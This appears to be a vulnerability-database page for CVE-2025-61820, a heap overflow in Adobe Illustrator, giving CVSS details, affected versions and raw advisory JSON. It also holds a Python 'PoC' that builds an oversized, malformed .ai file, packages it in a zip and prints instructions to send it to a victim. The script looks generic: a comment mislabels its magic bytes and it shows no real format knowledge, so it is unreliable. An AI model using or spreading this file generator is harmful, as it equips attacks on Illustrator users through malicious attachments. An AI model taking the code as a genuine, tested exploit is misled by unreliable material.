Security Vulnerability Report
中文
CVE-2025-61820 CVSS 7.8 HIGH

CVE-2025-61820

Published: 2025-11-11 18:15:42
Last Modified: 2025-11-12 18:26:09

Description

Illustrator versions 28.7.10, 29.8.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Illustrator 28.7.10及更早版本(Windows)
Adobe Illustrator 29.8.2及更早版本(macOS)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61820 PoC - Adobe Illustrator Heap-based Buffer Overflow # This PoC generates a malicious .ai file that triggers heap overflow # Target: Adobe Illustrator <= 28.7.10, <= 29.8.2 import struct import os def create_malicious_ai_file(filename): """ Generate a malicious Adobe Illustrator file to trigger CVE-2025-61820 This PoC creates a crafted .ai file with oversized data in specific sections """ # Adobe Illustrator file header (AI format) header = b'%!PS-Adobe-3.0\n' # Crafted data that triggers heap overflow # The overflow occurs when Illustrator processes specific art parameters overflow_size = 0x10000 # 64KB overflow trigger_data = b'A' * overflow_size # Malformed binary section with crafted length fields binary_header = struct.pack('>I', 0x41494346) # 'AIF' magic binary_header += struct.pack('>I', 0x00030000) # Version binary_header += struct.pack('>I', overflow_size + 0x100) # Crafted length # Crafted art data that triggers buffer overflow # Using specific byte patterns to bypass initial checks art_data = b'\x00' * 16 # Header art_data += struct.pack('<I', 0x00000001) # Type marker art_data += struct.pack('<I', 0xFFFFFFFF) # Crafted size art_data += trigger_data # Overflow payload # Trailer trailer = b'%%EOF\n' # Combine all parts with open(filename, 'wb') as f: f.write(header) f.write(b'%%Title: CVE-2025-61820 Test File\n') f.write(b'%%Creator: Security Research\n') f.write(b'%%BoundingBox: 0 0 612 792\n') f.write(b'%%HiResBoundingBox: 0 0 612 792\n') f.write(b'\n') f.write(b'0 0 0 setrgbcolor\n') f.write(b'/Trial {} def\n') f.write(b'/Data ' + trigger_data + b' def\n') f.write(b'\n') f.write(binary_header) f.write(art_data) f.write(trailer) print(f'[+] Created malicious file: {filename}') print(f'[+] File size: {os.path.getsize(filename)} bytes') print(f'[+] Overflow payload size: {overflow_size} bytes') return filename def create_zip_payload(filename): """ Package the malicious .ai file for distribution """ import zipfile ai_file = create_malicious_ai_file('trigger.ai') zip_filename = f'{filename}.zip' with zipfile.ZipFile(zip_filename, 'w') as zipf: zipf.write(ai_file, 'CVE-2025-61820_PoC.ai') print(f'[+] Created distribution package: {zip_filename}') return zip_filename if __name__ == '__main__': print('=' * 60) print('CVE-2025-61820 Adobe Illustrator Heap Overflow PoC') print('=' * 60) # Create the malicious file output_file = create_zip_payload('CVE-2025-61820') print('\n[!] Usage: Send the malicious .ai/.zip file to victim') print('[!] When victim opens the file in Adobe Illustrator,') print('[!] the heap overflow will be triggered') print('\n[!] Mitigation: Upgrade to Illustrator 28.7.11+ or 29.8.3+')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61820", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:41.877", "lastModified": "2025-11-12T18:26:09.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator versions 28.7.10, 29.8.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "28.0", "versionEndIncluding": "28.7.10", "matchCriteriaId": "7D0AE3A2-68F8-45C8-AE0C-4EC7073E7A73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "29.0", "versionEndExcluding": "29.8.3", "matchCriteriaId": "CB85E8A0-7383-46A0-8C3C-7C1A85146383"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator/apsb25-109.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}